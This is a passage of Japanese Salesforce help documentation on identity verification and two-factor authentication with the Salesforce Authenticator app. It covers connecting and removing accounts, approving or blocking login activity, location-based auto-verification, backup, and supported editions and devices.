スできるため、非常に効果的です。ナビゲーション操作が削減され、ワークフローの処理速度が上がりま
す。Salesforce では、いくつかの標準関連リストを配備してアプリケーションを提供していますが、システ
ム管理者が関連リスト項目の一部をカスタマイズすることもできます。

• ヘルプ & トレーニング資料には、組織で有効になっていない機能や、権限プロファイルによりアクセスが
許可されない機能が記載されている場合があります。機能についての詳細は、会社の Salesforce システム管
理者にお問い合わせください。システム管理者が誰かわからない場合は、会社で Salesforce を紹介した人に
連絡してください。

• 作業を保存してください。レコード項目の更新に長時間を費やした後で、保存せずに画面から移動してし
まうということがよくあります。クリックして別のページ要素に移動する前に、保存ボタンを探す習慣を
つけてください。

ID の検証

ID 検証ツールを使用して、データを不正アクセスから安全に保護します。

ID の検証方法
Salesforce Authenticator、ワンタイムパスワードジェネレータ、テキストメッセージなどの ID 検証ツールは、
Salesforce データとアカウントを不正アクセスから保護するために役立ちます。
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2 要素認証とは?

誰もがオンラインアカウントやデータの安全性を維持したいと望んでいます。2 要素認証は、それを実現す
るのに最適な方法です。2 要素認証とは、アカウントにアクセスするために 2 つの情報、つまり 2 つの要素
を使用することです。1 つ目の要素は、ユーザ名とパスワードなど、ユーザが知っているものです。2 つ目
の要素は、セキュリティアプリケーションがインストールされたモバイルデバイスなど、ユーザが持って
いるものです。2 つ目の要素 (セキュリティアプリケーションがインストールされたモバイルデバイス) によ
り、アカウントの保護が強化されます。ハッカーがパスワードを盗んだとしても、Salesforce Authenticator が
インストールされたユーザのモバイルデバイスを持っていないためログインできません。
Salesforce Authenticator

刷新された Salesforce Authenticator モバイルアプリケーションへようこそ! バージョン 2 は、モバイルデバイス
向けの強力で革新的な 2 要素認証アプリケーションです。このアプリケーションを使用することで、Salesforce

アカウントおよびデータを保護するセキュリティが強化されます。使用方法はとても簡単です。つまり、
1 つの優れたアプリケーションで強化されたセキュリティと向上した利便性の両方を得られます。
ワンタイムパスワードジェネレータアプリケーションまたはデバイスによる ID の検証
Salesforce Authenticator や Google Authenticator などのワンタイムパスワードジェネレータアプリケーションを接
続して、ID を検証します。このアプリケーションは、確認コード (「時間ベースのワンタイムパスワード」
と呼ばれることもある) を生成します。
仮のコードによる ID の検証
通常 2 要素認証に使用しているデバイスにアクセスできない場合は、仮の ID 確認コードの提供を Salesforce

システム管理者に依頼します。このコードは 1 ～ 24 時間有効です。システム管理者が有効期限を設定しま
すが、必要なくなった場合にはユーザが期限前にコードを期限切れにすることができます。
ログイン問題のトラブルシューティング
ログインできませんか? ユーザ名やパスワードを忘れた場合や、何回もログインに失敗してロックアウトさ
れた場合など、ログインの問題を解決するには、次の解決策を実行します。

ID の検証方法
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

Salesforce Authenticator、ワンタイムパスワードジェネレータ、テキストメッセー
ジなどの ID 検証ツールは、Salesforce データとアカウントを不正アクセスから保
護するために役立ちます。
認識されないブラウザまたはアプリケーションから Salesforce にログインし、IP

アドレスが信頼できる IP 範囲外の場合、ID を検証するように求められます。
次の検証手段のいずれかを使用して ID を検証します。
Salesforce Authenticator モバイルアプリケーション

Salesforce Authenticator アプリケーション (バージョン 2 以上) をアカウントに接続している場合、アプリケー
ションを使用して Salesforce アカウントのアクティビティを検証します。Salesforce からモバイルデバイスに
転送通知が送信されます。通知を受け取ったら、アプリケーションを開き、アクティビティの詳細を検証
し、モバイルデバイスの [承認] をタップします。

U2F セキュリティキー
自分の取引先に関連付けられる U2F セキュリティキーを登録している場合、そのセキュリティキーを使用
してSalesforceのアカウントアクティビティを検証します。Salesforceにより、セキュリティキーをコンピュー
タの USB ポートに差し込むよう求められます。
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ワンタイムパスワードジェネレータアプリケーション
認証アプリケーション (Salesforce Authenticator や Google Authenticator など) をアカウントに接続している場合、
そのモバイルアプリケーションを使用して確認コードを生成します。この種別のコードは、「時間ベース
のワンタイムパスワード」と呼ばれることもあります。コードの値は定期的に変わります。

SMS テキストメッセージ
アカウントに関連付けられた検証済みの携帯電話番号がない場合、携帯電話にテキストメッセージで確認
コードが送信されます。検証済みの携帯電話番号がない場合、Salesforce にログインするときに登録するよ
うに求められます。携帯電話番号を登録すると、携帯電話番号が検証され、その後確認する必要が生じた
場合にこの方法が有効になります。携帯電話番号が変わった場合は、Salesforce システム管理者に連絡して
ください。

メール
Salesforce から、確認コードが記載されたメールがアカウントに関連付けられたアドレスに送信されます。
24 時間が過ぎると、コードは失効します。

ID 検証ページには [次回からは確認しない] オプションがあり、デフォルトで選択されています。このオプショ
ンを選択したままにして[検証]をクリックすると、同じブラウザまたはアプリケーションからのログインであ
れば ID 検証を再度要求されることはありません。ただし、ブラウザの Cookie をクリアする、ブラウザが Cookie

を削除するように設定する、またはプライベートモードかシークレットモードで参照する場合は例外です。こ
れらの場合、組織で信頼できると定義されていない IP アドレスから Salesforce へログインすると、毎回 ID 検証
が要求されます。

メモ: 公共または共有デバイスからログインする場合は、[次回からは確認しない] をオフにします。この
オプションをオフにすると、次回使用するユーザはそのデバイスからのログイン時に ID 検証が必要にな
ります。

2 要素認証とは?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

Salesforce Authenticator に
よる 2 要素認証を使用可
能なエディション: Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Contact Manager Edition

誰もがオンラインアカウントやデータの安全性を維持したいと望んでいます。2

要素認証は、それを実現するのに最適な方法です。2 要素認証とは、アカウント
にアクセスするために 2 つの情報、つまり 2 つの要素を使用することです。1 つ
目の要素は、ユーザ名とパスワードなど、ユーザが知っているものです。2 つ目
の要素は、セキュリティアプリケーションがインストールされたモバイルデバ
イスなど、ユーザが持っているものです。2 つ目の要素 (セキュリティアプリケー
ションがインストールされたモバイルデバイス) により、アカウントの保護が強
化されます。ハッカーがパスワードを盗んだとしても、Salesforce Authenticator が
インストールされたユーザのモバイルデバイスを持っていないためログインで
きません。
多くのモバイル認証アプリケーションは、一定時間後に有効期限が切れる確認
コードを生成します。2 要素認証が必要なオンラインアカウントにログインする
場合、ユーザはユーザ名とパスワードと共にコードを入力します。Salesforce

Authenticator も必要なときにいつでもコードを生成しますが、バージョン 2 のア
プリケーションでは、セキュリティを損なうことなく利便性を高める機能が導
入されました。
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ログインの試行またはユーザのアカウント内の制限されているオンラインデータへのアクセスの試行があった
場合、Salesforce によりユーザのモバイルデバイスに通知が送信されます。ユーザは Salesforce Authenticator アプ
リケーションを開いてオンラインアクティビティの詳細を確認します。詳細を確認した後、[承認]をタップし
て、そのアクティビティが自分のものであることを検証できます。そのアクティビティが覚えのないものであ
れば、[拒否] をタップしてブロックします。Salesforce システム管理者が確認できるように、ブロックしたアク
ティビティにフラグを付けることができます。
Salesforce Authenticator のロケーションサービスを有効にすると、さらに強力な機能が有効になります。たとえ
ば、家やオフィスにいる場合は、その信頼できる場所からのアクティビティは自動的に検証するように
Authenticator に設定できます。自動化により、ポケットからスマートフォンを取り出すこともなく、2 要素認証
による強化されたセキュリティを利用することができます。
Salesforce Authenticator を使用して 2 要素認証するには、アプリケーションをオンラインアカウントに接続する必
要があります。Salesforce の個人設定で、アプリケーションを自分のアカウントに接続できます。アプリケー
ションを接続することで、ログインするたびに 2 要素認証を必ず使用しなければならなくなるということでは
ありません。ユーザが 2 要素認証を行う必要があるかどうかは、システム管理者が会社のセキュリティポリ
シーに従って設定します。システム管理者が Salesforce Authenticator をアカウントに接続する前に 2 要素認証を
要求している場合は、ユーザは次にログインしたときにアプリケーションを接続するよう求められます。

Salesforce Authenticator

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

Salesforce Authenticator に
よる 2 要素認証を使用可
能なエディション: Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Contact Manager Edition

刷新されたSalesforce Authenticator モバイルアプリケーションへようこそ! バージョ
ン 2 は、モバイルデバイス向けの強力で革新的な 2 要素認証アプリケーションで
す。このアプリケーションを使用することで、Salesforce アカウントおよびデー
タを保護するセキュリティが強化されます。使用方法はとても簡単です。つま
り、1 つの優れたアプリケーションで強化されたセキュリティと向上した利便性
の両方を得られます。

Salesforce Authenticator モバイルアプリケーション (バージョン 2 以降) の入手
Salesforce Authenticator はダウンロードしてモバイルデバイスにインストールす
るアプリケーションです。
Salesforce Authenticator (バージョン 2 以降) の要件
Salesforce Authenticator モバイルアプリケーションは各種のモバイルプラット
フォームでサポートされますが、デバイス、オペレーティングシステム、モ
バイルブラウザに一定の要件があります。アカウントアクティビティのユー
ザ検証とロケーションベースの自動検証には、Salesforce と通信するためのイ
ンターネット接続が必要です。確認コード (時間ベースのワンタイムパスワー
ド (TOTP)) はモバイルデバイスにインターネット接続がなくても生成できます。
Salesforce Authenticator (バージョン 2 以降) のアクセシビリティに関する考慮事項
Salesforce Authenticator はアクセシビリティを念頭に置いて設計されており、スクリーンリーダーを使用する
ユーザを含む、すべてのユーザが十分に利用できるモバイルの操作性を提供します。Salesforce フルサイト
とは異なり、Salesforce Authenticator ではアクセシビリティモードを使用しなくても、支援デバイスを使用し
て作業するユーザに、十分に利用できる操作性を提供できます。
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Salesforce Authenticator (バージョン 2 以降) のロケールと言語のサポート
Salesforce Authenticator は、Salesforce でサポートされるロケール、完全サポートされるエンドユーザ言語のほ
とんどすべてで動作します。サポートされるロケールと言語のリストは、Salesforce ヘルプを参照してくだ
さい。このリリースでは、アラビア語とヘブライ語を含む、右から左に読み取られる言語はサポートされ
ていません。
Salesforce Authenticator (バージョン 2 以降) のアカウント種別
Salesforce Authenticator モバイルアプリケーション (バージョン 2 以降) は、2 種類の接続アカウントをサポート
しています。標準アカウントには、転送通知、ロケーションベースの自動検証、および 2 要素認証の確認
コードの機能があります。コード専用アカウントは、確認コードのみを提供します。
Salesforce Authenticator (バージョン 2 以降) へのアカウントの接続
Salesforce アカウントを Salesforce Authenticator モバイルアプリケーションに接続して、2 要素認証にこのアプ
リケーションを使用します。組織によっては、ログイン時にアカウントを接続するように要求されます。
そうでない場合は、個人設定を介してアカウントを接続します。
Salesforce Authenticator (バージョン 2 以降) からのアカウントの削除
Salesforce Authenticator モバイルアプリケーションを 2 要素認証で使用しなくなった場合は、アプリケーショ
ンから Salesforceアカウントを削除します。モバイルデバイスの Salesforce Authenticator アプリケーションから
アカウントを削除する前に、Salesforce アカウントへのアクセスが失われないことを確認してください。
Salesforceシステム管理者に、アカウントへの 2 要素認証要件を削除するように依頼するか、別の 2 要素認証
の方法が使用できることを確認します。
Salesforce Authenticator (バージョン 2 以降) を使用した 2 要素認証のためのアカウントアクティビティの検証
組織の設定で、ログイン時または Salesforce 内の制限されたリソースへのアクセス時に 2 要素認証を行う必
要がある場合は、Salesforce Authenticator モバイルアプリケーションを使用して、ログインおよびその他のア
カウントアクティビティの詳細を識別できることを検証します。アプリケーションを使用してアカウント
アクティビティを検証すると、2 要素認証の要件が満たされます。
Salesforce Authenticator (バージョン 2 以降) を使用した不明なアカウントアクティビティのブロック
Salesforce Authenticator モバイルアプリケーションから、見覚えのないアカウントアクティビティに関する通
知を受信した場合には、アプリケーションを使用してそのアクティビティをブロックします。Salesforce シ
ステム管理者が確認できるように、ブロックしたアクティビティにフラグを付けることができます。
Salesforce Authenticator (バージョン 2 以降) を使用した信頼できる場所からの 2 要素認証の自動化
Salesforce Authenticator モバイルアプリケーションでロケーションサービスを有効にしてから、信頼できる場
所からの 2 要素認証を自動化します。信頼できる場所とは、たとえば自宅やオフィスなどです。
Salesforce Authenticator (バージョン 2 以降) でのロケーションベースの自動検証の停止
信頼できる場所のリストから場所を削除すると、その場所からの自動検証を無効にできます。
Salesforce Authenticator モバイルアプリケーションでの接続済みアカウントのバックアップ作成
Salesforce Authenticator モバイルアプリケーションで接続済みアカウントのバックアップを作成できます。モ
バイルデバイスを紛失した、モバイルデバイスが破損した、またはモバイルデバイスを交換した場合、接
続済みのアカウントを別のモバイルデバイスで復元できます。
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Salesforce Authenticator モバイルアプリケーション (バージョン 2 以降) の入手

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

Salesforce Authenticator に
よる 2 要素認証を使用可
能なエディション: Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Contact Manager Edition

Salesforce Authenticator はダウンロードしてモバイルデバイスにインストールする
アプリケーションです。
新規インストール
Google Play または App Store から Salesforce Authenticator モバイルアプリケーション
をダウンロードして、サポートされている Android および iOS デバイスにインス
トールできます。
アプリケーションをインストールしたら、ホーム画面から起動し、Salesforce ア
カウントに接続します。組織によっては、ログイン時にアプリケーションを接
続するように要求されます。そうでない場合は、Salesforce の個人設定でアカウ
ントを接続します。
Salesforce Authenticator バージョン 1 からの更新
すでにバージョン 1 をモバイルデバイスにインストールしている場合は、App

Store または Google Play から更新をダウンロードします。更新では、アプリケー
ション内の既存の接続済みのアカウントは保持されます。これらのアカウント
はコード専用アカウントで、確認コードは生成しますが、転送通知を受信したりロケーションベースの自動検
証を許可したりはしません。コード専用アカウントは、[接続済みのアカウント] リストにアカウント名の行の
右端が>なしで表示され、アカウントの詳細ページはありません。これらのコード専用アカウントの確認コー
ドは、個人設定で新しいバージョン 2 機能をSalesforceアカウントに接続するまでは有効です。新しいバージョ
ンを接続した後は、Salesforce Authenticator バージョン 2 の完全な機能 (転送通知、ロケーションベースの自動検
証、および確認コード) を使用できます。

Salesforce Authenticator (バージョン 2 以降) の要件

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

Salesforce Authenticator に
よる 2 要素認証を使用可
能なエディション: Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Contact Manager Edition

Salesforce Authenticator モバイルアプリケーションは各種のモバイルプラットフォー
ムでサポートされますが、デバイス、オペレーティングシステム、モバイルブ
ラウザに一定の要件があります。アカウントアクティビティのユーザ検証とロ
ケーションベースの自動検証には、Salesforce と通信するためのインターネット
接続が必要です。確認コード (時間ベースのワンタイムパスワード (TOTP)) はモバ
イルデバイスにインターネット接続がなくても生成できます。
サポートされるデバイスおよびブラウザ
Salesforce Authenticator は、次の環境 (縦方向) でサポートされています。

サポートされるモバイル
OS

サポートされるデバイスSalesforce Authenticator
アプリケーション

iOS 8 以降iPhone 5 以降のモデルiOS バージョン 2 以降

Android 4.2 以降Android 端末Android バージョン 2 以
降
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Salesforce Authenticator の最適なパフォーマンスを得るために、モバイルデバイスのオペレーティングシステムを
最新の状態に保ち、モバイルプランで許可されている最新モデルのデバイスにアップグレードすることをお勧
めします。Salesforceの今後のバージョンでは、古いオペレーティングシステムのサポートの終了が必要になる
可能性があります。また、古いデバイスではオペレーティングシステムの新しいリリースが正常に動作しない
場合があります。
Salesforce のエディションおよびライセンス
次の Salesforce エディションおよびユーザライセンスの種類で、ID 検証と 2 要素認証に Salesforce Authenticator を
使用できます。

Salesforce エディション

Database.com Edition はサポートされ
ていません。

• Group Edition

• Professional Edition

• Enterprise Edition

• Performance Edition

• Unlimited Edition

• Developer Edition

• Contact Manager Edition

ユーザライセンスの種類

ポータルユーザ (Salesforce コミュニ
ティのメンバーを除く)、

• Salesforce ユーザ
• Salesforce プラットフォームおよ

び Salesforce ユーザ Database.comユーザ、サイトおよび
Site.com ユーザ、Data.com ユーザ、

• カスタマーコミュニティ、カス
タマーコミュニティプラス、お

および Work.com ユーザのユーザラ
イセンスの種類はサポートされて
いません。よびパートナーコミュニティの

外部ユーザ
• Salesforce コミュニティのメン

バーであるポータルユーザ

ワイヤレス接続
Salesforceと通信するには、Wi-Fi または携帯電話ネットワーク接続が必要です。携帯電話接続の場合は、3G ネッ
トワーク以上が必要です。最適なパフォーマンスを得るには、Wi-Fi または LTE の使用をお勧めします。Salesforce

Authenticator は、デバイスがオフラインであっても有効な確認コードを生成します。また、デバイスがオフラ
インであってもアクティビティ履歴や信頼できる場所のリストは参照できます。
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Salesforce Authenticator (バージョン 2 以降) のアクセシビリティに関する考慮事
項
Salesforce Authenticator はアクセシビリティを念頭に置いて設計されており、スクリーンリーダーを使用するユー
ザを含む、すべてのユーザが十分に利用できるモバイルの操作性を提供します。Salesforceフルサイトとは異な
り、Salesforce Authenticator ではアクセシビリティモードを使用しなくても、支援デバイスを使用して作業する
ユーザに、十分に利用できる操作性を提供できます。
スクリーンリーダーの使用方法の詳細については、ご使用のモバイルデバイスの資料を参照してください。

Salesforce Authenticator (バージョン 2 以降) のロケールと言語のサポート
Salesforce Authenticator は、Salesforceでサポートされるロケール、完全サポートされるエンドユーザ言語のほとん
どすべてで動作します。サポートされるロケールと言語のリストは、Salesforceヘルプを参照してください。こ
のリリースでは、アラビア語とヘブライ語を含む、右から左に読み取られる言語はサポートされていません。

Salesforce Authenticator (バージョン 2 以降) のアカウント種別

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

Salesforce Authenticator に
よる 2 要素認証を使用可
能なエディション: Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Contact Manager Edition

Salesforce Authenticator モバイルアプリケーション (バージョン 2 以降) は、2 種類の
接続アカウントをサポートしています。標準アカウントには、転送通知、ロケー
ションベースの自動検証、および 2 要素認証の確認コードの機能があります。
コード専用アカウントは、確認コードのみを提供します。
標準アカウント
[接続済みのアカウント] リストで、標準アカウントには右端に [>] が表示されま
す。アカウント行の任意の場所をタップすると、アカウント詳細ページに移動
します。詳細ページには、最近のアカウントアクティビティなど、アカウント
に関する情報が表示されます。
コード専用アカウント
[接続済みのアカウント] リストで、コード専用アカウントには行の右端に [>] が
表示されず、アカウントの詳細ページはありません。
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Salesforce Authenticator (バージョン 2 以降) へのアカウントの接続

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

Salesforce Authenticator に
よる 2 要素認証を使用可
能なエディション: Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Contact Manager Edition

Salesforce アカウントを Salesforce Authenticator モバイルアプリケーションに接続し
て、2 要素認証にこのアプリケーションを使用します。組織によっては、ログイ
ン時にアカウントを接続するように要求されます。そうでない場合は、個人設
定を介してアカウントを接続します。
ログイン時に Salesforce Authenticator を Salesforce アカウントに接続するように要求
された場合は、画面の指示に従います。Salesforceの個人設定からアプリケーショ
ンを接続するには、アカウントにログインしてから、次の手順に従います。
1. 使用するモバイルデバイスのタイプに応じて、Salesforce Authenticator アプリ

ケーションのバージョン 2 以降をダウンロードし、インストールします。
iPhone の場合は、App Store からアプリケーションをダウンロードします。
Android デバイスの場合は、Google Play からアプリケーションをダウンロード
します。
モバイルデバイスにすでに Salesforce Authenticator のバージョン 1 がインストー
ルされている場合は、App Store または Google Play でアプリケーションをバー
ジョン 2 に更新できます。更新では、ユーザがアプリケーションにすでに
持っている接続済みのアカウントは保持されます。これらのアカウントはコード専用アカウントで、確認
コードは生成しますが、転送通知を受信したりロケーションベースの自動検証を許可したりはしません。
コード専用アカウントは、[接続済みのアカウント] リストにアカウント名の行の右端が>なしで表示され、
アカウントの詳細ページはありません。Salesforce への現在のログインに使用するユーザ名に対してコード
専用アカウントがある場合は、続行する前にアプリケーション内で左にスワイプしてそのユーザ名を削除
します。後のステップで、そのユーザ名のアカウントを再度接続します。新しく接続されたアカウントで
は、Salesforce Authenticator バージョン 2 の完全な機能 (転送通知、ロケーションベースの自動検証、および確
認コード) を使用できます。

2. [個人設定] から、[クイック検索] ボックスに「高度なユーザの詳細」と入力し、[高度なユーザの詳細] を選
択します。結果がありませんか? [クイック検索] ボックスに「個人情報」と入力し、[個人情報]を選択しま
す。

3. [アプリケーション登録: Salesforce Authenticator] を見つけ、[接続] をクリックします。
4. セキュリティ上の理由で、アカウントにログインするように要求されます。
5. モバイルデバイスで Salesforce Authenticator アプリケーションを開きます。

アプリケーションを初めて開く場合、アプリケーションの機能を紹介するツアーが表示されます。ツアー
を開始してもよいですし、すぐにアプリケーションに Salesforce アカウントを追加することもできます。

6. アプリケーションで、[+] をタップしてアカウントを追加します。
一意の 2 語の語句が生成されます。

7. ブラウザに戻って、[2 語の語句] 項目にその語句を入力します。
8. [接続] をクリックします。

以前に確認コードを生成する認証アプリケーションをアカウントに接続したことがある場合、アラートが
表示されることがあります。Salesforce Authenticator モバイルアプリケーションのバージョン 2 以降を接続す
ると、古いアプリケーションからのコードは無効になります。今後、確認コードが必要な場合は、Salesforce

Authenticator から取得してください。
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9. モバイルデバイス上の Salesforce Authenticator アプリケーションに、接続しているアカウントの詳細が表示さ
れます。アカウントの接続を完了するには、アプリケーションで [接続] をタップします。

アカウントの安全を確保するため、新しい ID 検証方法が Salesforce アカウントに追加されるたびに、メール通
知が送信されます。自分がその方法を追加したか、Salesforceのシステム管理者が自分の代わりに追加したかに
関係なく、メールは送信されます。

Salesforce Authenticator (バージョン 2 以降) からのアカウントの削除

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

Salesforce Authenticator に
よる 2 要素認証を使用可
能なエディション: Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Contact Manager Edition

Salesforce Authenticator モバイルアプリケーションを 2 要素認証で使用しなくなっ
た場合は、アプリケーションから Salesforce アカウントを削除します。モバイル
デバイスの Salesforce Authenticator アプリケーションからアカウントを削除する前
に、Salesforce アカウントへのアクセスが失われないことを確認してください。
Salesforceシステム管理者に、アカウントへの 2 要素認証要件を削除するように依
頼するか、別の 2 要素認証の方法が使用できることを確認します。
1. Web ブラウザの Salesforce アカウントから開始します。[個人設定] から、[ク

イック検索] ボックスに「高度なユーザの詳細」と入力し、[高度なユーザの
詳細]を選択します。結果がありませんか? [クイック検索]ボックスに「個人
情報」と入力し、[個人情報] を選択します。

2. [アプリケーション登録: Salesforce Authenticator] を検索し、[切断] をクリック
します。

3. モバイルデバイスで Salesforce Authenticator アプリケーションを開きます。
4. アプリケーションの接続済みのアカウントリストで、削除するアカウントを

見つけます。
5. アカウントのユーザ名を左にスワイプします。
6. [削除] をタップします。

確認ダイアログが表示されます。
7. アカウントの削除を確認するには、[削除] をタップします。
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Salesforce Authenticator (バージョン 2 以降) を使用した 2 要素認証のためのアカ
ウントアクティビティの検証

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

Salesforce Authenticator に
よる 2 要素認証を使用可
能なエディション: Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Contact Manager Edition

組織の設定で、ログイン時または Salesforce 内の制限されたリソースへのアクセ
ス時に 2 要素認証を行う必要がある場合は、Salesforce Authenticator モバイルアプ
リケーションを使用して、ログインおよびその他のアカウントアクティビティ
の詳細を識別できることを検証します。アプリケーションを使用してアカウン
トアクティビティを検証すると、2 要素認証の要件が満たされます。
アプリケーションを使用して 2 要素認証を行う前に、アプリケーションをアカ
ウントに接続します。Salesforce で検証が必要になる操作を行うと、モバイルデ
バイスの Salesforce Authenticator アプリケーションから通知を受け取ります。
1. モバイルデバイスでSalesforce Authenticator アプリケーションを開くことによっ

て通知に応答します。
アプリケーションには、ユーザ名、アクセスしようとしているサービス
(Salesforce など)、使用されたデバイスなど、アカウントアクティビティの詳
細が表示されます。ロケーションサービスが有効になっていて使用できる場
合は、アプリケーションに現在の場所が表示されます。地理位置情報技術の
性質上、地理位置情報項目 (国、市区郡、番地など) の精度は場所によって異
なります。

2. 詳細を確認します。
3. 詳細が覚えのあるものであれば、モバイルデバイスで [承認] をタップします。

Salesforce では、ログイン済みであるか、目的のリソースへのアクセス権を付与されています。

Salesforce Authenticator (バージョン 2 以降) を使用した不明なアカウントアク
ティビティのブロック

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

Salesforce Authenticator に
よる 2 要素認証を使用可
能なエディション: Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Contact Manager Edition

Salesforce Authenticator モバイルアプリケーションから、見覚えのないアカウント
アクティビティに関する通知を受信した場合には、アプリケーションを使用し
てそのアクティビティをブロックします。Salesforce システム管理者が確認でき
るように、ブロックしたアクティビティにフラグを付けることができます。
1. モバイルデバイスでSalesforce Authenticator アプリケーションを開くことによっ

て通知に応答します。
アプリケーションには、ユーザ名、アクセスしようとしているサービス
(Salesforce など)、使用されたデバイスなど、アカウントアクティビティの詳
細が表示されます。ロケーションサービスが有効になっていて使用できる場
合は、アプリケーションにユーザの現在の場所が表示されます。地理位置情
報技術の性質上、地理位置情報項目 (国、市区郡、番地など) の精度は場所に
よって異なります。

2. 詳細を確認します。
3. 詳細が覚えのないものであれば、モバイルデバイスで [拒否] をタップしま

す。
不明なアクティビティをどのように処理するかを尋ねられます。
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4. アカウントへの未承認のアクセスを防ぎ、セキュリティ侵害の可能性についてのアラートを Salesforce シス
テム管理者に通知するには、[活動をブロックしてフラグを設定する] をタップします。フラグを付けずに
アカウントへのアクセスを防ぐには、[活動をブロックするのみ] をタップします。誤って [拒否] をタップ
した場合には、[キャンセル] をタップして戻り、アクティビティを検証します。

Salesforce Authenticator (バージョン 2 以降) を使用した信頼できる場所からの 2
要素認証の自動化

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

Salesforce Authenticator に
よる 2 要素認証を使用可
能なエディション: Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Contact Manager Edition

Salesforce Authenticator モバイルアプリケーションでロケーションサービスを有効
にしてから、信頼できる場所からの 2 要素認証を自動化します。信頼できる場
所とは、たとえば自宅やオフィスなどです。
アプリケーションを使用して 2 要素認証を行う前に、アプリケーションをアカ
ウントに接続します。初めて Salesforce Authenticator を使用してアカウントアク
ティビティを検証するときには、アプリケーションから所在する場所へのアク
セスを求められます。応答してアクセスを許可するか、後でモバイルデバイス
の設定に移動して Salesforce Authenticator に所在する場所へのアクセスを許可しま
す。モバイルデバイスのロケーションデータは、アプリケーション外に送信さ
れることはありません。所在する場所へのアクセスを許可することで、オフィ
スや自宅、その他の信頼できる場所で作業しているときに 2 要素認証を自動化
できます。
1. モバイルデバイスでSalesforce Authenticator アプリケーションを開くことによっ

て通知に応答します。
アプリケーションには、ユーザ名、アクセスしようとしているサービス
(Salesforce など)、使用されたデバイスなど、アカウントアクティビティの詳
細が表示されます。ロケーションサービスが有効になっていて使用できる場合は、アプリケーションに現
在の場所が表示されます。地理位置情報技術の性質上、地理位置情報項目 (国、市区郡、番地など) の精度
は場所によって異なります。

2. 詳細を確認します。
3. 詳細に覚えがあり、オフィスや自宅などの信頼できる場所にいる場合は、[この場所では常に検証します]

をオンにします。
4. [承認] をタップします。

Salesforce では、ログイン済みであるか、目的のリソースへのアクセス権を付与されています。次回同じ場
所から同じ操作を行ったときには、Salesforce Authenticator アプリケーションによって自動的にアクティビティ
が検証されます。モバイルデバイスを携帯している必要はありますが、アプリケーションの通知に応答す
る必要はありません。
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Salesforce Authenticator (バージョン 2 以降) でのロケーションベースの自動検証
の停止

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

Salesforce Authenticator に
よる 2 要素認証を使用可
能なエディション: Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Contact Manager Edition

信頼できる場所のリストから場所を削除すると、その場所からの自動検証を無
効にできます。
1. モバイルデバイスで Salesforce Authenticator アプリケーションを開きます。
2. [接続済みのアカウント] リストで、ユーザ名をタップしてアカウントの詳細

ページに移動します。
3. [信頼できる場所] で、[すべて表示] をタップします。
4. 信頼を停止する場所を左にスワイプします。
5. [削除] または [信頼を停止] をタップします。

この場所からの自動検証を無効にするかを確認するメッセージが表示されま
す。

6. [信頼を停止] をタップします。

Salesforce Authenticator モバイルアプリケーションでの接
続済みアカウントのバックアップ作成
Salesforce Authenticator モバイルアプリケーションで接続済みアカウントのバックアップを作成できます。モバイ
ルデバイスを紛失した、モバイルデバイスが破損した、またはモバイルデバイスを交換した場合、接続済みの
アカウントを別のモバイルデバイスで復元できます。
次の方法でバックアップを有効にすることができます。
• 右上隅の通知アイコン ( ) で [バックアップを有効化] をタップします。
• 左上隅の設定アイコン ( ) をタップして、[アカウントをバックアップ] をタップします。
バックアップを有効にしたら、携帯番号を確認し、4 桁のパスコードを設定して、バックアッププロセスを完
了します。
1. プロンプトが表示されたら、携帯番号を入力して [送信] をタップします。
2. Salesforce Authenticator からリンク付きのテキストメッセージが送信されます。テキストメッセージ内のリン

クをタップします。
3. モバイルデバイスを承認して、Salesforce Authenticator モバイルアプリケーションを開きます。このプロセス

は Android デバイスと iOS デバイスで異なります。
プロセスオペレーティングシステ

ム

リンクを開くアプリケーションを選択するように要求するプロンプトが表示
されたら、リストから [Salesforce Authenticator] をタップします。

Android

Web ブラウザが開いたら、[Salesforce Authenticator を開く] をタップします。

Salesforce Authenticator を開くための許可を求められたら、[開く]をタップして承
認します。

iOS
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Salesforce Authenticator アプリケーションが開き、携帯番号の確認プロセスを完了します。
4. 4 桁のパスコードを設定します。このパスコードを使用して、新しいデバイスでアカウントを復元できま

す。
携帯番号を変更または更新するには、[設定] メニューで [検証済み番号]をタップします。新しい携帯番号を入
力し、確認プロセスを繰り返します。
パスコードを変更するには、[設定] メニューで [バックアップパスコードを変更]をタップします。新しいパス
コードを入力します。

ワンタイムパスワードジェネレータアプリケーションまたはデバイ
スによる ID の検証

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

Salesforce Authenticator や Google Authenticator などのワンタイムパスワードジェネ
レータアプリケーションを接続して、ID を検証します。このアプリケーション
は、確認コード (「時間ベースのワンタイムパスワード」と呼ばれることもある)

を生成します。
ログイン時、または接続済みアプリケーション、レポート、またはダッシュボー
